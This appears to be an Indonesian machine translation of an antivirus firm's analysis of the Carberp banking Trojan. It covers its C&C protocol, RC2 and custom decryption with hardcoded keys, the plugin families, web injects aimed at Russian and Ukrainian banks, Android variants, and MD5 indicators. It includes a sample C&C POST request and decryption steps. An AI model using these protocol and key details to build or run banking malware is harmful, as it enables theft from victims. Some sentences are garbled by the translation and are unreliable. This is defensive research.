Karena informasi ini baru-baru ini, kita diperbolehkan untuk mengatakan bahwa Carberp adalah sebagai Trojan utama yang memonitor lingkungan komputer yang terinfeksi dan dieksploitasi terpencil sistem perbankan. Itu adalah malware modular kuat yang ditingkatkan kemampuannya dengan drive-by-download pustaka dinamis - plugin. Itu bukan uang hanya berhasil meraih dari rekening bank korban tetapi juga perhatian para ahli keamanan baik dalam industri dan bidang akademik (contoh kertas). Oleh karena itu ada banyak referensi di web mempertimbangkan metode invasi sistem, perlindungan dengan lapisan luar polimorfik dan kegigihan Trojan. Kami akan mencoba untuk mengisi beberapa kekosongan dalam gambar.
Carberp mulai kemajuan sekitar pada musim gugur 2010. Kemudian pada musim semi 2011 itu dibagi menjadi dua cabang utama mengenai bentuk permintaan HTTP. Yang pertama menggunakan RC4 cipher untuk mengenkripsi data ditukar dengan C & C dan diposting permintaan dalam bentuk:
http://<top level domain>/e/<8-11 karakter alfanumerik acak>
Yang satu ini memudar seiring dengan penangkapan kriminal di dunia maya pada Maret 2012. Yang kedua didasarkan pada RC2 cipher dan dihasilkan hits dengan avast! perisai di alam liar selama minggu-minggu terakhir. Mari kita lihat bagaimana berbicara dengan C & C.
komunikasi protokol
Sebuah posting HTTP khas tampak seperti
POST /kmqkcicalxrntrngwdxjyxztxcqkoyjnbdoafqirgnwwvpcjqglucovna.phtm HTTP/1.1
Accept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Host: caaarrp2.ru
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 60
dengan isi dari bentuk seperti ini:
kfq=u%2FFPG1eImmXBEb3mG5VomEqE9ivVw2uh550qE1K2LoqWfJkbTeN%3D
di mana 'KFQ' adalah string acak yang digabungkan dengan tanda kesetaraan dan pesan yang disandikan. Karakter tidak aman dalam pesan dikodekan lolos dengan tanda persen. Mari kita menulis ini contoh khusus setelah decoding:
kfq=u/FPG1eImmXBEb3mG5VomEqE9ivVw2uh550qE1K2LoqWfJkbTeN=
dan mari kita mengekstrak pertama 4 simbol setelah simbol kesetaraan pertama digabungkan dengan 4 simbol terakhir (mengabaikan simbol kesetaraan tailing) sebagai string. Hal ini digunakan sebagai garam kriptografi untuk RC2 dekripsi dan menunjukkan itu szSalt, yaitu szSalt = 'u / FPbTeN'. Kemudian pesan terenkripsi yang tepat sama (menotasikannya szEncMsg):
G1eImmXBEb3mG5VomEqE9ivVw2uh550qE1K2LoqWfJ
Setelah dekripsi pada sisi server itu akan dibaca seperti 'botuid = wtfuck0780E8ABE9244C0B4' di mana 'wtfuck' adalah dienkripsi konstan dalam tubuh Trojan dan '780E8ABE9244C0B4 'adalah hash tertentu lingkungan korban. Setiap sampel Carberp terkandung konstan lain - kunci, menotasikannya szKey, misalnya szKey = 'mt19YrKTaSH3kCVA'.
Dekripsi konten dilakukan dalam langkah-langkah berikut:
Langkah 1) Ekstraksi pesan terenkripsi yang tepat dan szSalt variabel. Transformasi '+' untuk '>' dan '/' ke '?'.
Langkah 2) Decoding dari szEncMsg ke buffer au8EncMsg_Debase64
Langkah 3) Decrypting dari buffer au8EncMsg_Debase64 ke au8EncMsg_Debase64_DeRC2 penyangga menggunakan RC2 dengan szSalt garam dan szKey kunci
Jika konten yang didownload adalah executable dienkripsi atau file konfigurasi maka ada langkah lain:
Langkah 4) Decrypting yang au8EncMsg_Debase64_DeRC2 penyangga menggunakan algoritma decryptBJB kustom (..) yang telah muncul dalam tahap awal Carberp. Sebuah string magic "BJB" adalah di header dan diikuti dengan panjang kunci, string kunci dan data ciphered utama.
Salah satu permintaan awal akan C & C adalah keinginan untuk plugin yang tersedia. Setelah koneksi berhasil daftar plugin disimpan di "% AppData \ <hash sequence> \ wndsksi.inf" dalam bentuk terenkripsi. Mengabaikan pertama 20 byte dan menggunakan algoritma decryptBJB disebutkan dengan tombol "GDlet64E" salah satu bisa mendapatkan sesuatu yang mirip dengan:
ammy.plug|Y05jP1GNybVxZ3Wv6sMQCwzmJ9rhH2Rg.tiff
config.bin|KVZswznW95xFch3X.tiff
ddos.plug|ZqRMXA6Cxsg1m3KbdfyF2ncYPWV78TpN.bmp
ifobs.plug|8X2ZWnDfSsrpYtK1hdazxcq.bmp
passw.plug|53DS2x0qgvmGzwtpyrahPQW9J8nNA.tiff
rdp.plug|aDb6TYnKkc3Q7N.tiff
rtlext.plug|jhJrdMWzK2XqpkYV91a6tQv7Z.psd
sb.plug|8DhsH4PmpSFWrV7QwA5dtbv0KJN.tiff
vnc.plug|JD6HPMCQjN8kgFYcR57pdtn1y2X0rm.psd
Daftar ini menunjukkan hanya sebagian dari plugin yang tersedia untuk bot. Diagram berikut memperkirakan evolusi plugin yang tersedia dan waktu ketika mereka tampil untuk pertama kalinya:
Analisis rinci plugin
Plugin dari tahap awal pengembangan dikenal (miniav.plug, stopav.plug, passw.plug) dan yang kuning tampak usang dalam versi terbaru dari bot. Berkas ddos.plug ekspor satu-satunya fungsi yang disebut 'StartHTTP' dan berisi daftar berbagai referer HTTP dan nama domain. Nama plugin itu menunjukkan potensi dalam didistribusikan serangan denial-of-service.
Kelompok jeruk mengandung cyberplat.plug, sb.plug (berevolusi dari awal versi sbtest.plug) dan ifobs.plug yang mencoba untuk mengeksploitasi Cyberplat, iFOBS dan sistem pemrosesan pembayaran Sberbank. Bulan lalu download dari arsip java disebut AgentX.jar bersama-sama dengan data file rt.ini dienkripsi ((dua langkah dekripsi salah satunya adalah RC4 dengan kunci "123% esr2 # 221 @ #") dilaksanakan di Carberp . modul Mereka jatuh ke dalam direktori aplikasi sistem e-banking disebut iBank The file ini polos bisa terlihat seperti (amati bahwa C & C server bot).:
Arsip adalah penerus dari sebelumnya digunakan arsip menambal kode Java dengan cepat disebut Agent.jar, AgentPassive.jar dan AgentKP.jar. Mereka semua memiliki potensi untuk curang berinteraksi dengan proses pembayaran korban. Sebuah uid.txt dokumen teks yang berisi id dari contoh menjalankan bot diciptakan dan dinyatakan sebagai tanda infeksi.
Kelompok biru muda merupakan utilitas meningkatkan kegiatan mata-mata remote Trojan. Berkas vnc.plug adalah executable yang memungkinkan akses remote ke komputer yang terinfeksi melalui protokol framebuffer jarak jauh (RFB). Selain itu, berisi perpustakaan tertanam inj_x86.dll (inj_x64.dll masing-masing) yang menyediakan modus rootkit fungsionalitas pengguna bahwa proses masker mulai dari jarak jauh (pada "secret_desktop") pada desktop korban:
Kelompok hijau adalah semua tentang bot.plug Plugin yang memiliki sebagian besar fungsi dari modul Carberp utama dalam bentuk perpustakaan terkait secara dinamis mengekspor tiga fungsi: SetBotParameter, Start dan SFFD (terakhir menyuntikkan kode sendiri ke explorer sebagai modul utama tidak). Hal ini dihasilkan oleh generator yang disebut Bot builder:
Setelah permintaan download itu disimpan dalam bentuk terenkripsi dalam% AppData% direktori untuk digunakan nanti. Hal ini dapat diaktifkan dari jarak jauh oleh installfakedll perintah dari server C & C yang menyebabkan penurunan dari fake.dll ke ke direktori program Internet Explorer di bawah berbagai nama membingungkan (misalnya sqmapi.dll, browsui.dll). Sebuah fungsi dari perpustakaan ini adalah dekripsi bot.plug disimpan diikuti oleh panggilan dari bot ekspor Start dan SFFD.
Salah satu file tambahan yang diminta disebut config.bin. Ini adalah satu set JavaScript web menyuntikkan melakukan serangan ke berbagai sistem internet banking di Rusia dan Ukraina. Menyuntikkan dipicu oleh topeng tertentu di web browser (contoh bank yang ditargetkan adalah di braket):
- 'Banking.pivdenny.com' (Pivdennyi)
- 'Ibank.svyaznoybank.ru' (Svyaznoybank)
- 'Online.rsb.ru' (Rusia Standar Bank)
- 'bsi.dll? T = RT_1Loader.Load' (OJSC Nordea Bank)
- 'ifobsClient / ifobstoday' (iFOBS Online Banking System, OTP Bank Ukraina)
- libertyreserve (LibertyReserve)
- Privatbank (PrivateBank Ukraina)
Untuk menunjukkan konsep menyuntikkan pada topeng "google.com" hanya mengamati proses penciptaan dalam langkah-langkah berikut: Memilih data sebelum dan data setelah penggantian diinginkan kode HTML dan mengisi ruang dengan kode sendiri, kemudian menampilkan bagaimana kode sumber muncul di file konfigurasi dan akhirnya bagaimana perubahan isi sebuah halaman web:
Carberp di Android
Pada akhir 2012, tiga aplikasi Android berbahaya yang disebutkan dalam hubungannya dengan Carberp (dijuluki Caberp-in-the-Mobile oleh peneliti keamanan) yang mencoba untuk memperluas kegiatan penipuan itu ke perangkat mobile (triple mewakili nama aplikasi, itu hash MD5 dan deteksi oleh avast mesin)!:
| SberSafe | f27d43dfeedffac2ec7e4a069b3c9516 | Android:Spitmo-E [Trj] |
| AlfaSafe | 07d2ee88083f41482a859cd222ec7b76 | Android:SpyCitmo-D [Trj] |
| VkSafe | 117d41e18cb3813e48db8289a40e5350 | Android:SpyCitmo-C [Trj] |
Aplikasi ini diposting permintaan HTTP dalam bentuk:
http://ber<REMOVED>.com/m/fo125kepro;http://ber<REMOVED>.com/m/as225kerto ;
dengan domain yang juga digunakan sebagai C & C oleh cabang Carberp menggunakan enkripsi RC4. Kesimpulannya adalah bahwa aplikasi ini mungkin tidak terhubung dengan bot kami telah menganalisis.
sumber
Akhirnya MD5 dari beberapa sampel yang dipilih dengan deteksi avast! mesin:
| Carberp Bot (version 1.8) | 422ec27f405ea8415a6dd606f53ec5ca | Win32:Carberp-ANO [Trj] |
| sb.plug | 3150522d039ea64715951d2461c04b9f | Win32:Carberp-AI [Trj] |
| rdp.plug | 5f93b2f8d8c0f6f00f3cc99adbe7efc0 | Win32:SpyeyePlugin-E [Trj] |
| ddos.plug | e20146551b34409d71dde02a8e3d5c15 | Win32:CarberpPlugin-L [Trj] |
| vnc.plug | 5683fcb77c6f6447aba75b44338cb461 | Win32:CarberpPlugin-K [Trj] |
| ifobs.plug | c96ff5f3ec55220e99b9d7c8a3a98e8f | Win32:CarberpPlugin-M [Trj] |
| bot.plug | f29e19cbe20dd7e0eba5d1ff09abdbbb | Win32:CarberpPlugin-P [Trj] |
| fake.dll | 6b2fcfa7cb57a44d28530eaf28ac253e | Win32:CarberpPlugin-N [Trj] |
| ammy.plug | 3b91280aa14a1dc0870f53f76a48c3f8 | Win32:AmmyyRAdmin-A [PUP] |
| iphlpapi.dll | 0993ac70dd8ab896ae349f45cc82d63d | Win32:CarberpPlugin-Q [Trj] |
| ActiveX.jar | 46f348d9a990004d8e2c5694f5544f56 | Java:Carberp-A [Trj] |
| passw.plug | 38956767859e03e126f1d79c0f0e3ea0 | Win32:CarberpPlugin-D [Trj] |
pengakuan
Terima kasih pergi ke rekan saya Jaromir Horejsi untuk kerjasama pada analisis ini.